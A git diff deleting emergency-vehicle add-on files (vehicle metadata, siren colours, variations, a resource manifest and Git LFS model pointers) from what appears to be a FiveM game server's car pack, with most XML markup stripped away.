- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta deleted file mode 100644 index 05717a20c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta +++ /dev/null @@ -1,67 +0,0 @@ - - - - - - gcVan - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta deleted file mode 100644 index e5f953673..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta +++ /dev/null @@ -1,138 +0,0 @@ - - - vehshare - - - - gcVan - gcVan - gcVan - Freighliner - SPRINTERL4FL - null - null - null - null - - null - RUMPO - LAYOUT_VAN_BOXVILLE - YOUGA2_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_LOW - DEFAULT_POV_CAMERA_LOOKAROUND_MID - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 20.000000 - 40.000000 - 90.000000 - 180.000000 - 750.000000 - 750.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_IS_VAN FLAG_POOR_CAR FLAG_AVERAGE_CAR FLAG_IS_BULKY FLAG_HAS_REAR_SEAT_ACTIVITIES FLAG_EXTRAS_REQUIRE FLAG_BIG FLAG_NO_BOOT FLAG_AVOID_TURNS FLAG_DELIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_EXTRAS_SCRIPT FLAG_PEDS_CAN_STAND_ON_TOP FLAG_IS_BULKY FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO FLAG_INTERIOR_BLOCKED_BY_BOOT FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_FEROCI - VC_EMERGENCY - VWT_MUSCLE - - - - - EXTRA_1 EXTRA_2 EXTRA_3 - - - - - - - EXTRA_1 - - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - VAN_YOUGA2_FRONT_LEFT - VAN_YOUGA2_FRONT_RIGHT - VAN_YOUGA2_REAR_LEFT - VAN_YOUGA2_REAR_RIGHT - - - - - - vehicles_bob_brown_interior - 23sprintl4fl - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua deleted file mode 100644 index 6b332aa52..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua +++ /dev/null @@ -1,14 +0,0 @@ -resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937' - -files { - 'carcols.meta', - 'vehicles.meta', - 'carvariations.meta' - - -} -data_file 'CARCOLS_FILE' 'carcols.meta' -data_file 'VEHICLE_METADATA_FILE' 'vehicles.meta' -data_file 'VEHICLE_VARIATION_FILE' 'carvariations.meta' - -client_script 'vehicle_names.lua' \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta deleted file mode 100644 index b922eb13e..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta +++ /dev/null @@ -1,778 +0,0 @@ - - - - - - - - roseneng - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta deleted file mode 100644 index 2d908c902..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta +++ /dev/null @@ -1,276 +0,0 @@ - - - - - roseneng - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png deleted file mode 100644 index 4ceb9d392..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta deleted file mode 100644 index e138976c7..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta +++ /dev/null @@ -1,142 +0,0 @@ - - - vehshare - - - - roseneng - roseneng - FIRETRUK - roseneng - SAHP - null - null - null - null - - null - cummins5924v - LAYOUT_STD_EXITFIXUP - POLICE3_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - MID_BOX_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_NEAR - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 500.000000 - 500.000000 - 500.000000 - 500.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_0 - - FLAG_HAS_LIVERY FLAG_EXTRAS_ALL FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_HAS_INTERIOR_EXTRAS FLAG_REPORT_CRIME_IF_STANDING_ON - VEHICLE_TYPE_CAR - VPT_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_SPORT - - - - - S_M_Y_hwaycop_01 - - - - S_M_Y_hwaycop_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE3_FRONT_LEFT - STD_POLICE3_FRONT_RIGHT - STD_POLICE2_REAR_LEFT - STD_POLICE2_REAR_RIGHT - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta deleted file mode 100644 index d63c65bd8..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta +++ /dev/null @@ -1,778 +0,0 @@ - - - - - - - - silvfire - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta deleted file mode 100644 index 8b7789d52..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta +++ /dev/null @@ -1,276 +0,0 @@ - - - - - silvfire - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png deleted file mode 100644 index 10c2d708d..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta deleted file mode 100644 index 073a020b7..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta +++ /dev/null @@ -1,143 +0,0 @@ - - - vehshare - - - - silvfire - silvfire - SANDKING - silvfire - - null - null - null - null - - null - SANDKING - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_ATTACH_TRAILER_IN_CITY FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta deleted file mode 100644 index e9b555ca3..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - suburbanfbit - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - White Plate 2 - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta deleted file mode 100644 index 22bb4c390..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft deleted file mode 100644 index 9a6eb6578..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6f7c867caedd5bd2803b850dd9f9e763660082b6fbcabeb0af6433944a91dc64 -size 3758060 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd deleted file mode 100644 index c64e5b0e4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:be008d09a8c26b1130ebb7891ac8db0377dd9014ba5f179a9339ddd65a96ebbe -size 16675942 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft deleted file mode 100644 index 9a6eb6578..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6f7c867caedd5bd2803b850dd9f9e763660082b6fbcabeb0af6433944a91dc64 -size 3758060 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft deleted file mode 100644 index 7896ba048..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1b2de409ed59fbf16a4ec9eea8ad14acf90e24881d13a493dd2da4e726b69e26 -size 12066400 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd deleted file mode 100644 index 16c946883..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d5766ffbea9ca3be59db4f357b02032e93df0afecb19ae962a9f8da75482a38d -size 8930393 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft deleted file mode 100644 index 2142135a6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:5af4ffe0814dfeeda3860995786a5da05423217120f57e622c18828f390dea91 -size 12066300 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft deleted file mode 100644 index c8e071020..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1a0d0a1b26b9bd8a16671312dfca8df9999872604257b059a36ebd4d335d4764 -size 8714999 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd deleted file mode 100644 index a50db3071..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ba88949d2c98a8a7564495514b4ad48b888f3867469b3ca3e750b8ae63b0d4ca -size 8815783 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft deleted file mode 100644 index cef4d870d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f605e669f514df8ece91451972126c85ddeff65df5bfaa5be238c4a0d096ee02 -size 8714909 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft deleted file mode 100644 index 1ea463035..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9ab19b6c1402c8897786e2df9ecb02a07c421bb484a2541ccbbacdddd0e43a22 -size 7656795 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd deleted file mode 100644 index 8aa134a1c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9f6db9ffcbd9450272625361f2cd4feb69aad58d204bd139d240fffb111d6ad2 -size 10657855 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft deleted file mode 100644 index 8c111023f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:31a97b4df9b837f6c1e00eddb3421a6aeb1dc125e9fd0b919e618dff37dd716a -size 7656657 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft deleted file mode 100644 index f51104d9c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:94947d725e737973ad60d6fb115e0024c29da0ba5c198f3af045590e38151751 -size 6546081 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd deleted file mode 100644 index 3930e0fbc..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:31db5d40799c38d26a2ba2a2043b8f85e7db6003bce3c2906e86a0eab810f18f -size 11675060 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft deleted file mode 100644 index 64824a555..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:0ed156f34703312dc23cddfcae15b4dfc5b99fbf0f7042c1678f83c61aee70a7 -size 6545966 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft deleted file mode 100644 index 9331c22ad..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e93d55e04ac32aec1cbb8e29eb5598fe8fb156a3198d1f16e2aed32a4750c13e -size 6813138 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd deleted file mode 100644 index 099e7a569..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:878244ea7e399f3d5b5b4f67c18245d57db3f4db65034f57d31ccc4711bd8d7c -size 9261467 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft deleted file mode 100644 index 19f313641..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:def981a9604aa63332ff8792398e3452f0ef0e022e0ee34a385037bf4546a6e5 -size 6812946 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft deleted file mode 100644 index b20ccf283..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:8c699189b11d9089f858437d10e1e12a1b674a1a2c2ca205c07661dc9123539b -size 4679039 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd deleted file mode 100644 index 8e4f4a922..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:20f61a83b833aa1b5e539eda6813e536c8f6bab87d5dfc9450715c2c66919d3b -size 7706097 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft deleted file mode 100644 index 45244ed53..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c84a359c61d76c399593a95911547d2ac920dcfd70f8e45514bc79c0d962ef13 -size 4678918 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft deleted file mode 100644 index a6c263d4a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c945cab8004dc19934a1e0fc1d6844721aa44aeaafba57d9338355d69456d140 -size 8714917 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd deleted file mode 100644 index 9a6e1260a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1fe7496f595539d21aab73d8afcb7da37aad84129fa8d45bf809294fca755516 -size 12096353 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft deleted file mode 100644 index 05882990b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c6f924b1f377c7bac6c1772b7034c16647b8bd116550461e0e10659ccce0b783 -size 8714642 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft deleted file mode 100644 index 0bc1809c1..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:761b37fd3caa50d105ea7731ce6c41d66e2f7d53274ad00cfad03a75ca93323a -size 8548908 diff --git 